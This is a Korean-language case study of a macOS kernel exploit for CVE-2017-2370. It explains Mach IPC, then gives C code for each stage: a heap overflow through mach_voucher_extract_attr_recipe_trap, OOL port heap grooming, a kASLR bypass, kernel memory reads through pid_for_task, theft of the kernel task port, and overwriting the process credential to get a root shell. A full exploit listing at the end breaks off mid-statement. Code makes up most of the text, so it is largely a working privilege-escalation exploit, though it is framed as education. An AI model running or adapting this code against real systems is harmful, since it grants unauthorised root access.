OS X KERNEL EXPLOIT CASE STUDY 

 

티오리

Written by reset + s0ngsari

본 문서에서는 macOS Sierra 10.12.2에서 발생했던 CVE-2017-2370 취약점을 이용해 공격을 시도하였으며, 이에 따라 익스플로잇 작성 시 필요한 정보를 제공한다.

배경 지식

OS X에서의 IPC (Interprocess Communication)

Mach는 클라이언트-서버 시스템 구조를 제공하기 때문에, 클라이언트가 서버에 요청함으로써 서비스 되어진다. macOS의 Mach에서 프로세스간 커뮤니케이션 채널의 말단을 Port라고 부르며, Port는 채널을 이용하기 위한 권한이다. 다음은 Mach에 의해 제공되는 IPC 종류다. (단, macOS의 IPC 구조가 바뀌고 있어서 이전 버전에서 제공되지 않는것도 있을 수 있다.)

Message Queues / Semaphores / Notifications / Lock Sets / RPCs

Mach port에 관하여

  • Mach Port : UNIX의 단방향 파이프라인과 비슷하며, 커널이 관리하는 메시지 큐. 다중 발신자, 하나의 수신자로 구성되어있다.
  • Port Rights (포트 권한) : Task 정보는 시스템 리소스의 집합체이며, 쉽게 말해 자원 소유권에 빗대어 말할 수 있다. 이러한 Task를 통해 포트에 액세스(Send, Receive, Send-Once) 할 수 있는데, 이를 포트 권한이라고 한다. (즉, Port는 Mach의 기본 보안 메커니즘이다.)
    • Send Right : 특정 메시지 큐에 제한 없이 데이터 삽입 시도
    • Send-Once Right : 특정 메시지 큐에 단일 메시지 데이터를 삽입 시도
    • Receive Right : 특정 메시지 큐에서 제한 없이 데이터 추출 시도
  • Port Sets : 구성원 중 하나로부터 메시지 또는 이벤트를 수신할 때 단일 단위로 취급 될 수 있는 포트 권한 세트
    • Portset Right : 여러 메시지 큐에서 특정 메시지 큐 제외 시도
  • Port Namespaces : 각 작업은 단일 포트 네임 스페이스가 연결되어 있으며, 작업이 포트 네임스페이스에 권한이 있는 경우에만 포트를 조작할 수 있다.
    • Dead-Name Right : 아무 작업도 하지 않음

간략한 함수 설명

  • kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags) : target에 *address를 인자 크기만큼 할당
  • kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size) : target의 adress 주소 인자 크기만큼 해제
  • task_t mach_task_self() : 작업 포트에 대한 전송 포트 권한을 받음
  • kern_return_t mach_port_allocate (ipc_space_t task, mach_port_right_t right, mach_port_name_t *name) : 지정한 유형의 포트 생성
  • kern_return_t mach_port_insert_right (ipc_space_t task, mach_port_name_t name, mach_port_poly_t right, mach_msg_type_name_t right_type) : TASK에 포트 권한 부여
  • mach_msg_return_t mach_msg (mach_msg_header_t msg, mach_msg_option_t option, mach_msg_size_t send_size, mach_msg_size_t receive_limit, mach_port_t receive_name, mach_msg_timeout_t timeout, mach_port_t notify) : 포트로부터 메시지를 보내거나 받음.
  • kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize) : 주어진 target task와 같은 영역에 있는 데이터를 사이즈만큼 읽어옴
  • kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt) : 주어진 target task 와 같은 영역에 있는 주소에 사이즈만큼 데이터를 씀


목차

  1. Heap Overflow
  2. OOL Port Fengshui
  3. 조작된 데이터 찾기
  4. 커널 주소 획득
  5. 현재 프로세스와 커널 프로세스 찾기
  6. 커널 권한 획득 ( AAR / AAW )
  7. 권한 상승 (user -> root)


(1) Heap Overflow

CVE-2017-2370은 macOS 10.12.2 이하 버전의 mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)에서 힙 오버플로우가 발생하는 취약점이다.

mach_voucher_extract_attr_recipe_args 구조체는 아래와 같다.

struct mach_voucher_extract_attr_recipe_args {  PAD_ARG_(mach_port_name_t, voucher_name);  PAD_ARG_(mach_voucher_attr_key_t, key);  PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);  PAD_ARG_(user_addr_t, recipe_size); };  /* osfmk/mach/mach_traps.h */ #define PAD_ARG_(arg_type, arg_name) \   char arg_name ##_l_[PADL_(arg_type)];   arg_type arg_name;   char arg_name ##_r_[PADR_(arg_type)];

mach_voucher_extract_attr_recipe_trap()을 호출할 때 넘기는 인자인 mach_voucher_extract_attr_recipe_args 구조체 내 mach_voucher_attr_raw_recipe_t recipe와, user_addr_t recipe_size값을 임의 조작이 가능하다. 따라서, 함수 내부에서 void* kalloc(vm_size_t size);으로 할당한 커널의 힙 영역에 int copyin(const void *uaddr, void *kaddr, size_t len);함수로 복사하며 이 때, 조작된 args->recipe_size를 가지고 있기 때문에 오버플로우가 발생한다.

특히, args->recipe도 조작할 수 있기 때문에 오버플로우시 임의 데이터를 작성할 수 있다.

/* ---- FROM exp.m ---- */ uint64_t roundup(uint64_t val, uint64_t pagesize) {  val += pagesize - 1;  val &= ~(pagesize - 1);  return val; } void heap_overflow(uint64_t kalloc_size, uint64_t overflow_length, uint8_t* overflow_data, mach_port_t* voucher_port) {    int pagesize = getpagesize();   void* recipe_size = (void*)map(pagesize);  *(uint64_t*)recipe_size = kalloc_size;   uint64_t actual_copy_size = kalloc_size + overflow_length;  uint64_t alloc_size = roundup(actual_copy_size, pagesize) + pagesize;     uint64_t base = map(alloc_size); // unmap page          uint64_t end = base + roundup(actual_copy_size, pagesize);     mach_vm_deallocate(mach_task_self(), end, pagesize); // for copyin() stop          uint64_t start = end - actual_copy_size;          uint8_t* recipe = (uint8_t*)start;          memset(recipe, 0x41, kalloc_size); // set kalloc size     memcpy(recipe + kalloc_size, overflow_data, overflow_length); // set overflow bytes          kern_return_t err = mach_voucher_extract_attr_recipe_trap(voucher_port, 1, recipe, recipe_size); // Trigger  } /* -------------------- */ --- mach_port_t* voucher_port = MACH_PORT_NULL; mach_voucher_attr_recipe_data_t atm_data = {  .key = MACH_VOUCHER_ATTR_KEY_ATM,  .command = MACH_VOUCHER_ATTR_ATM_CREATE }; kern_return_t err = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&atm_data, sizeof(atm_data), &voucher_port);  ipc_object* fake_port = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_port void* fake_task = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); // alloc fake_task fake_port->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // for clock trap fake_port->io_lock_data[12] = 0x11; printf("[+] Create Fake Port. Address : %llx\n", (unsigned long long)fake_port); heap_overflow(0x100, 0x8, (unsigned char *)&fake_port, voucher_port);


(2) OOL Port Fengshui

이전 블로그 시리즈에서 OOL Port에 대해 잠깐 언급하였듯이, 커널 힙에 데이터를 넣어 스프레이 및 풍수 기법을 사용하고자 OOL Port를 사용한다. 그 이유는 OOL Port 데이터가 수신 전까지 커널에서 보존되기 때문이다.

포트 풍수의 단계를 간략히 설명하면 아래와 같다:

  1. 대량의 포트 생성
  2. 메시지 생성 (송신용, 수신용)
  3. 주소로 사용되어질 더미 포트(MACH_PORT_DEAD) 다수 생성
  4. 메시지 송신
  5. 메시지 수신
  6. 메시지 재송신

위의 과정을 거치면, OS가 송신과 수신을 반복한 포트가 모여 있는 주소 주변에 데이터를 할당해준다.

사용된 코드는 아래와 같다:

struct ool_send_msg{  mach_msg_header_t msg_head;  mach_msg_body_t msg_body;  mach_msg_ool_ports_descriptor_t msg_ool_ports[16]; };  struct ool_recv_msg{  mach_msg_header_t msg_head;  mach_msg_body_t msg_body;  mach_msg_ool_ports_descriptor_t msg_ool_ports[16];  mach_msg_trailer_t msg_trailer; }; struct ool_send_msg send_msg; struct ool_recv_msg recv_msg; mach_port_t* ool_port_fengshui(){  int current_port_num = 0;  mach_port_t* ool_ports;  ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));   // Part 1. Create OOL Ports  for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports   mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port   mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.  }   // Part 2. Create Message Buffer (Spray)  mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));   for(int i = 0; i <= 1024; i++){   use_ports[i] = MACH_PORT_DEAD;  }   /* Set MSG HEADER */  send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);  send_msg.msg_head.msgh_size = sizeof(struct ool_send_msg) - 16;  send_msg.msg_head.msgh_remote_port = MACH_PORT_NULL;  send_msg.msg_head.msgh_local_port = MACH_PORT_NULL; // NULL SEND  send_msg.msg_head.msgh_reserved = 0x00;  send_msg.msg_head.msgh_id = 0x00;    /* SET MSG BODY */  send_msg.msg_body.msgh_descriptor_count = 1;    /* SET MSG OOL PORT DESCRIPTOR */  for(int i = 0; i<=16; i++){ // appropriate ipc-send size     send_msg.msg_ool_ports[i].address = use_ports;   send_msg.msg_ool_ports[i].count = 32; // kalloc 0x100 (256)   send_msg.msg_ool_ports[i].deallocate = 0x00;   send_msg.msg_ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;   send_msg.msg_ool_ports[i].disposition = MACH_MSG_TYPE_MAKE_SEND;   send_msg.msg_ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;  }   // Part 3. Message Fengshui  /* SEND MSG */  for(current_port_num = 0; current_port_num < USE_PORT_START; current_port_num++){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }  for(current_port_num = USE_PORT_END; current_port_num < PORT_COUNT; current_port_num++){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }  for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num++){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }   /* RECV MSG */  for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_END; current_port_num += 4){   recv_msg.msg_head.msgh_local_port = ool_ports[current_port_num];   kern_return_t recv_result = mach_msg(&recv_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_recv_msg), ool_ports[current_port_num], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(recv_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui recv\nError : %s\n", mach_error_string(recv_result));    exit(1);   }  }   /* RE-SEND MSG */  for(current_port_num = USE_PORT_START; current_port_num < USE_PORT_HALF; current_port_num += 4){   send_msg.msg_head.msgh_remote_port = ool_ports[current_port_num];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, send_msg.msg_head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   if(send_result != KERN_SUCCESS){    printf("[-] Error in OOL Fengshui re-send\nError : %s\n", mach_error_string(send_result));    exit(1);   }  }    printf("[+] OOL Port Fengshui Success\n");  return ool_ports; }

앞서 나열한 단계들을 진행하기 위해 mach_msg()에서 사용될 메시지 구조(ool_send_msg, ool_recv_msg)를 선언한다. 이 때, kalloc.256에 데이터를 배치하기 위해 msg_ool_ports.count는 32로 설정했다.

위 메시지는 너무 커서도 안되고, 작아서도 안되기 때문에 적절한 크기를 가진 사이즈 멤버들로 구성해야 한다. 이후 전송-수신-재전송 과정을 거치면 포트 풍수 준비가 끝나며, OS는 해당 영역을 사용할 준비가 된다. 이 시점에서 오버플로우를 발생 시키면 desc의 ipc_port 를 덮게 되고 공격자 입장에서 덮인 데이터를 알고 있으며, 그 데이터를 마음껏 조작할 수 있기 때문에 공격이 수월해진다.


(3) 조작된 데이터 찾기

재전송 과정을 거친 포트를 주변으로 하여 오버플로우가 발생했을 것이며, 그 포트를 찾아야 한다. 참조 대상은 포트에서 사용된 descriptor의 address 멤버 (앞 단계에서 미리 더미 데이터로 채워 두었음)이며 해당 포트가 변경되었는지와 유효한 포트인지 확인한다.

사용된 코드는 다음과 같다:

mach_port_t* find_manipulation_port(mach_port_t* port_list){  for(int i = 0; i < USE_PORT_END; i++){   send_msg.msg_head.msgh_local_port = port_list[i];   kern_return_t send_result = mach_msg(&send_msg.msg_head, MACH_RCV_MSG | MACH_MSG_OPTION_NONE, 0, sizeof(struct ool_send_msg), port_list[i], MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);   for(int k = 0; k < send_msg.msg_body.msgh_descriptor_count; k++){ // traversing ool descriptors    mach_port_t* tmp_port = send_msg.msg_ool_ports[k].address;    if(tmp_port[0] != MACH_PORT_DEAD && tmp_port[0] != NULL){ // is Manipulated? (compare 8 bytes is enough. cuz of 8 bytes overflow)     printf("[+] Found manipulated port! %dth port : %dth descriptor => %llx\n", i, k, tmp_port[0]);     return tmp_port[0];    }   }   }   printf("[-] Error in Find Manipulated Port\n");  exit(1); }


(4) 커널 주소 획득

macOS에서는 메모리 보호기법으로 커널 주소를 랜덤화하는 kASLR을 사용한다. 따라서, 포트 주소를 가지고 있으며 임의조작이 가능한 경우 시스템 트랩인 clock_sleep_trap()을 사용해 커널 내 동적으로 로드되는 clock_list를 구할 수 있게 된다.

사용된 코드는 아래와 같다:

uint64_t get_clock_list_addr(uint64_t fake_port, mach_port_t* manipulated_port){  for(uint64_t guess_clock_addr = 0xffffff8000200000; guess_clock_addr < 0xffffff80F0200000; guess_clock_addr++){   *(uint64_t *)(fake_port + TASK_GAP_IN_IPC_OBJ) = guess_clock_addr; // Traverse address   *(uint64_t *)(fake_port + 0xa0) = 0xff;    if(clock_sleep_trap(manipulated_port, 0, 0, 0, 0) == KERN_SUCCESS){    printf("[+] found clock_list addr : %llx\n", guess_clock_addr);    return (guess_clock_addr);   }  }  printf("[-] Find clock_list addr failed.\n");  exit(1); }

오버플로우 시킨 데이터는 현재 유저 영역에서 생성한 포트를 가리키고 있으며, 이것은 원래 ipc_object를 가리키던 영역이다. 따라서, 해당 구조체의 task를 커널의 텍스트 베이스부터 설정한 후 클락 슬립 트랩을 발생시키고 성공한 경우에는 클락 리스트를 포인팅 하고있다는 의미가 된다.

위의 과정을 통해 커널 내 주소를 획득 했으니 간단한 커널 헤더(0xfeedfacf) 비교를 통해 주소를 획득할 수 있다.

사용된 코드는 아래와 같다:

uint64_t get_kernel_addr(uint64_t fake_port, void* fake_task, uint64_t clock_list_addr, mach_port_t* manipulated_port){  *(uint64_t*) (fake_port + TASK_GAP_IN_IPC_OBJ) = fake_task;     *(uint64_t*) (fake_port + 0xa0) = 0xff;      *(uint64_t*) (fake_task + 0x10) = 0x01;        clock_list_addr &= ~(0x3FFF);      for(uint64_t current_addr = clock_list_addr; current_addr > 0xffffff8000200000; current_addr-=0x4000) {      int32_t kernel_data = 0;      *(uint64_t*) (fake_task + TASK_INFO_GAP) = current_addr - 0x10;      pid_for_task(manipulated_port, &kernel_data);      if (kernel_data == 0xfeedfacf) {       printf("[+] Found kernel_text addr : %llx\n", current_addr);       return current_addr;      }     } }

커널 주소는 0x4000 정렬되므로 클락 리스트의 하위 14비트는 제거 해준 뒤, 정렬 크기만큼 감소시키며 비교해주면 된다. 이 때, pid_for_task()를 사용하는데 이는 유저레벨에서 커널 메모리를 읽기 위해 사용된다. 일반적으로 유저 모드에서 커널 메모리를 읽을수 없기 때문에, 가지고 있는 포트를 사용하여 pid_for_task()를 호출해 커널 메모리를 읽는 트릭이다.

pid_for_task() 함수는 원래 Mach 태스크를 매개로하여 BSD 프로세스 ID를 구하는 함수이며, 아래처럼 정의되어 있다. [bsd/vm/vm_unix.c]

kern_return_t pid_for_task(  struct pid_for_task_args *args) {  mach_port_name_t t = args->t;  user_addr_t  pid_addr  = args->pid;    proc_t p;  task_t  t1;  int pid = -1;  kern_return_t err = KERN_SUCCESS;   AUDIT_MACH_SYSCALL_ENTER(AUE_PIDFORTASK);  AUDIT_ARG(mach_port1, t);   t1 = port_name_to_task(t);  if (t1 == TASK_NULL) {   err = KERN_FAILURE;   goto pftout;  } else {   p = get_bsdtask_info(t1);   if (p) {    pid  = proc_pid(p);    err = KERN_SUCCESS;   } else if (is_corpsetask(t1)) {    pid = task_pid(t1);    err = KERN_SUCCESS;   }else {    err = KERN_FAILURE;   }  }  task_deallocate(t1); pftout:  AUDIT_ARG(pid, pid);  (void) copyout((char *) &pid, pid_addr, sizeof(int));  AUDIT_MACH_SYSCALL_EXIT(err);  return(err); }

즉, get_bsdtask_info(t1)후 proc_pid()를 이용해 PID 값을 읽어오는것을 이용하여 커널 메모리를 읽을 수 있다.


(5) 현재 프로세스와 커널 프로세스 찾기

macOS에서는 현재 실행중인 모든 프로세스의 정보를 _allproc에 저장하고 있다.

extern struct proclist allproc;/* List of all processes. */

_allproc은 연결리스트 구조로 프로세스를 링킹하고 있으며, nm /mach_kernel|grep allproc 명령어를 통해 오프셋을 구할 수 있다.

아래는 proc의 구조체 정보이다. [bsd/sys/proc_internal.h]

struct proc {  LIST_ENTRY(proc) p_list;  /* List of all processes. */   pid_t  p_pid;   /* Process identifier. (static)*/  void *   task;   /* corresponding task (static)*/  struct proc * p_pptr;    /* Pointer to parent process.(LL) */  pid_t  p_ppid;   /* process's parent pid number */  pid_t  p_pgrpid;  /* process group id of the process (LL)*/  uid_t  p_uid;  gid_t  p_gid;  uid_t  p_ruid;  gid_t  p_rgid;  uid_t  p_svuid;  gid_t  p_svgid;  uint64_t p_uniqueid;  /* process unique ID - incremented on fork/spawn/vfork, remains same across exec. */  uint64_t p_puniqueid;  /* parent's unique ID - set on fork/spawn/vfork, doesn't change if reparented. */   lck_mtx_t  p_mlock;  /* mutex lock for proc */   char  p_stat;   /* S* process status. (PL)*/  char  p_shutdownstate;  char  p_kdebug;  /* P_KDEBUG eq (CC)*/   char  p_btrace;  /* P_BTRACE eq (CC)*/   LIST_ENTRY(proc) p_pglist;  /* List of processes in pgrp.(PGL) */  LIST_ENTRY(proc) p_sibling;  /* List of sibling processes. (LL)*/  LIST_HEAD(, proc) p_children;  /* Pointer to list of children. (LL)*/  TAILQ_HEAD( , uthread) p_uthlist;  /* List of uthreads  (PL) */   LIST_ENTRY(proc) p_hash;  /* Hash chain. (LL)*/  TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */  #if CONFIG_PERSONAS  struct persona  *p_persona;  LIST_ENTRY(proc) p_persona_list; #endif   lck_mtx_t p_fdmlock;  /* proc lock to protect fdesc */  lck_mtx_t  p_ucred_mlock;  /* mutex lock to protect p_ucred */   /* substructures: */  kauth_cred_t p_ucred;  /* Process owner's identity. (PUCL) */  struct filedesc *p_fd;   /* Ptr to open files structure. (PFDL) */  struct pstats *p_stats;  /* Accounting/statistics (PL). */  struct plimit *p_limit;  /* Process limits.(PL) */   struct sigacts *p_sigacts;  /* Signal actions, state (PL) */   int  p_siglist;  /* signals captured back from threads */  lck_spin_t p_slock;  /* spin lock for itimer/profil protection */  이하 생략...

실제 pid_for_task()의 용도(PID 구하기)처럼 프로세스를 트레버싱하며 원하는 PID를 가진 프로세스를 찾을 수 있다.

사용된 코드는 아래와 같다:

uint64_t get_proc_addr(uint64_t pid, uint64_t kernel_addr, void* fake_task, mach_port_t* manipulated_port){  uint64_t allproc_real_addr = 0xffffff8000ABB490 - 0xffffff8000200000 + kernel_addr;    uint64_t pCurrent = allproc_real_addr;  uint64_t pNext = pCurrent;  while (pCurrent != NULL) {   int nPID = 0;       *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent;   pid_for_task(manipulated_port, (int32_t*)&nPID);   if (nPID == pid) {    return pCurrent;   }   else{    *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x10;    pid_for_task(manipulated_port, (int32_t*)&pNext);    *(uint64_t*) (fake_task + TASK_INFO_GAP) = pCurrent - 0x0C;    pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&pNext)) + 4));    pCurrent = pNext;   }  }  }

(6) 커널 권한 획득 ( AAR / AAW )

권한 상승을 위해, 즉 커널의 권한을 얻기 위해 얻어야할 정보는 커널 프로세스가 가진 포트 권한과 Kernel Task 이다.

사용된 코드는 아래와 같다:

dumpdata* get_kernel_priv(uint64_t kernel_process, uint64_t* fake_port, void* fake_task, mach_port_t* manipulated_port){  dumpdata* data = (dumpdata *)malloc(sizeof(dumpdata));  data->dump_port = malloc(0x1000);  data->dump_task = malloc(0x1000);   uint64_t kern_task = 0;  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x18) - 0x10 ;  pid_for_task(manipulated_port, (int32_t*)&kern_task);  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kernel_process + 0x1C) - 0x10;  pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&kern_task)) + 4));   uint64_t itk_kern_sself = 0;  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK) - 0x10;  pid_for_task(manipulated_port, (int32_t*)&itk_kern_sself);  *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + ITK_KERN_SSELF_GAP_IN_TASK + 4) - 0x10;  pid_for_task(manipulated_port, (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));  data->dump_itk_kern_sself = itk_kern_sself;   for (int i = 0; i < 256; i++) {   *(uint64_t*) (fake_task + TASK_INFO_GAP) = (itk_kern_sself + i*4) - 0x10;   pid_for_task(manipulated_port, (int32_t*)(data->dump_port + (i*4)));  }  for (int i = 0; i < 256; i++) {   *(uint64_t*) (fake_task + TASK_INFO_GAP) = (kern_task + i*4) - 0x10;   pid_for_task(manipulated_port, (int32_t*)(data->dump_task + (i*4)));  }  return data; }

이전 과정에서, 커널 프로세스의 주소를 획득했기 때문에 커널 task를 쉽게 획득할 수 있다. (이전 언급한 struct proc 참고)그런 다음, 포트 권한을 획득하기 위해 task 구조체 안에 있는 포트권한 정보(itk_kern_sself)를 획득해야 하는데, task 구조체는 다음과 같다. [osfmk/kern/task.h]

struct task {  /* Synchronization/destruction information */  decl_lck_mtx_data(,lock)  /* Task's lock */  uint32_t ref_count; /* Number of references to me */  boolean_t active;  /* Task has not been terminated */  boolean_t halting; /* Task is being halted */   /* Miscellaneous */  vm_map_t map;  /* Address space description */  queue_chain_t tasks; /* global list of tasks */  void  *user_data; /* Arbitrary data settable via IPC */  #if defined(CONFIG_SCHED_MULTIQ)  sched_group_t sched_group; #endif /* defined(CONFIG_SCHED_MULTIQ) */   /* Threads in this task */  queue_head_t  threads;   processor_set_t  pset_hint;  struct affinity_space *affinity_space;   int   thread_count;  uint32_t  active_thread_count;  int   suspend_count; /* Internal scheduling only */   /* User-visible scheduling information */  integer_t  user_stop_count; /* outstanding stops */  integer_t  legacy_stop_count; /* outstanding legacy stops */   integer_t  priority;   /* base priority for threads */  integer_t  max_priority;  /* maximum priority for threads */   integer_t  importance;  /* priority offset (BSD 'nice' value) */   /* Task security and audit tokens */  security_token_t sec_token;  audit_token_t audit_token;           /* Statistics */  uint64_t  total_user_time; /* terminated threads only */  uint64_t  total_system_time;    /* Virtual timers */  uint32_t  vtimers;   /* IPC structures */  decl_lck_mtx_data(,itk_lock_data)  struct ipc_port *itk_self; /* not a right, doesn't hold ref */  struct ipc_port *itk_nself; /* not a right, doesn't hold ref */  struct ipc_port *itk_sself; /* a send right */  struct exception_action exc_actions[EXC_TYPES_COUNT];       /* a send right each valid element  */  struct ipc_port *itk_host; /* a send right */  struct ipc_port *itk_bootstrap; /* a send right */  struct ipc_port *itk_seatbelt; /* a send right */  struct ipc_port *itk_gssd; /* yet another send right */  struct ipc_port *itk_debug_control; /* send right for debugmode commu  nications */  struct ipc_port *itk_task_access; /* and another send right */   struct ipc_port *itk_resume; /* a receive right to resume this task */  struct ipc_port *itk_registered[TASK_PORT_REGISTER_MAX];      /* all send rights */   struct ipc_space *itk_space;  이하 생략...

이를 통해 커널의 task 주소와 포트권한 주소를 알아냈기 때문에 해당 데이터를 유저영역에 복사하여 커널의 권한을 간접적으로 사용할 수 있다. 즉, 조작된 포트는 fake_port를 가리키고 있고 fake_port는 커널 포트 권한을 가지고있기 때문에 task_get_speical_port()를 통해 임의 포트에서 커널 포트 권한을 사용할 수 있게 된다.

(7) 권한 상승 (user -> root)

이제 커널의 권한을 획득하였기 때문에 AAR/AAW가 mach_vm_read_overwrite()와 mach_vm_write()를 통해 가능해졌다. 이전 블로그 포스트에도 설명했지만, UCRED 구조체의 CR_RUID를 변경하면 프로세스 권한이 변경된다. proc 구조체 내부에 typedef struct ucred *kauth_cred_t; 로 정의된 kauth_cred_tp_ucred;가 저장되어 있다.

ucred 구조체는 아래와 같기 때문에 cr_ruid 를 수정하면 된다.

/*  * In-kernel credential structure.  *  * Note that this structure should not be used outside the kernel, nor should  * it or copies of it be exported outside.  */ struct ucred {  TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */  u_long cr_ref;   /* reference count */   struct posix_cred {  /*   * The credential hash depends on everything from this point on   * (see kauth_cred_get_hashkey)   */  uid_t cr_uid;   /* effective user id */  uid_t cr_ruid;  /* real user id */  uid_t cr_svuid;  /* saved user id */  short cr_ngroups;  /* number of groups in advisory list */  gid_t cr_groups[NGROUPS]; /* advisory group list */  gid_t cr_rgid;  /* real group id */  gid_t cr_svgid;  /* saved group id */  uid_t cr_gmuid;  /* UID for group membership purposes */  int cr_flags;  /* flags on credential */ } cr_posix;  struct label *cr_label; /* MAC label */  /*    * NOTE: If anything else (besides the flags)   * added after the label, you must change   * kauth_cred_find().   */  struct au_session cr_audit;  /* user auditing data */ };

루트 권한을 얻기 위해 데이터를 쓰는 코드는 다음과 같다:

uint64_t cred; mach_vm_size_t read_bytes = 8; mach_vm_read_overwrite(kernel_port, (current_process + UCRED_GAP_IN_PROCESS), (size_t)8, (mach_vm_offset_t)(&cred), &read_bytes); // AAR in Kernel vm_offset_t root_uid = 0; mach_msg_type_number_t write_bytes = 8; mach_vm_write(kernel_port, (cred + CR_RUID_GAP_IN_UCRED), &root_uid, (mach_msg_type_number_t)write_bytes); // AAW in Kernel system("/bin/bash"); // Get Shell

이로써, 현재 프로세스는 루트 권한을 가진(cr_ruid가 0인) 프로세스가 된다.


Exploit Code (Tested On OS X 10.12.1)

Refactored from the reference.

#define PORT_COUNT 1024 #define USE_PORT_START 384 #define USE_PORT_HALF 512 #define USE_PORT_END 640 #define IO_BITS_ACTIVE 0x80000000 #define IKOT_CLOCK 25 #define IKOT_TASK 2 #define lck_spin_t char #define TASK_GAP_IN_PROC 24 #define CR_RUID_GAP_IN_UCRED 24 #define TASK_GAP_IN_IPC_OBJ 104 #define ITK_KERN_SSELF_GAP_IN_TASK 232 #define UCRED_GAP_IN_PROCESS 232 #define TASK_INFO_GAP 896  #import  #import  #import  #import  #import   /* FROM osfmk/ipc/ipc_object.h -*/ typedef natural_t ipc_object_bits_t; typedef natural_t ipc_object_refs_t;  typedef struct _ipc_object{   ipc_object_bits_t io_bits;  ipc_object_refs_t io_references;  lck_spin_t io_lock_data[1024]; }ipc_object; /* ----------------------------*/  typedef struct _dumpdata{  char* dump_port;  char* dump_task;  uint64_t dump_itk_kern_sself; }dumpdata;  struct ool_send_msg{  mach_msg_header_t msg_head;  mach_msg_body_t msg_body;  mach_msg_ool_ports_descriptor_t msg_ool_ports[16]; };  struct ool_recv_msg{  mach_msg_header_t msg_head;  mach_msg_body_t msg_body;  mach_msg_ool_ports_descriptor_t msg_ool_ports[16];  mach_msg_trailer_t msg_trailer; };  struct ool_send_msg send_msg; struct ool_recv_msg recv_msg; mach_port_t* ool_port_fengshui(){  int current_port_num = 0;  mach_port_t* ool_ports;  ool_ports = calloc(PORT_COUNT, sizeof(mach_port_t));   // Part 1. Create OOL Ports  for(current_port_num = 0; current_port_num < PORT_COUNT; current_port_num++){ // Alloc 1024 Ports   mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ool_ports[current_port_num]); // Alloc Port   mach_port_insert_right(mach_task_self(), ool_ports[current_port_num], ool_ports[current_port_num], MACH_MSG_TYPE_MAKE_SEND); // MACH_MSG_TYPE_MAKE_SEND Right Set.  }   // Part 2. Create Message Buffer (Spray)  mach_port_t* use_ports = calloc(1024, sizeof(mach_port_t));   for(int i = 0; i <= 1024; i++){   use_ports[i] = MACH_PORT_DEAD;  }   /* Set MSG HEADER */  send_msg.msg_head.msgh_bits = MACH_MSGH_BITS_COMPLEX | 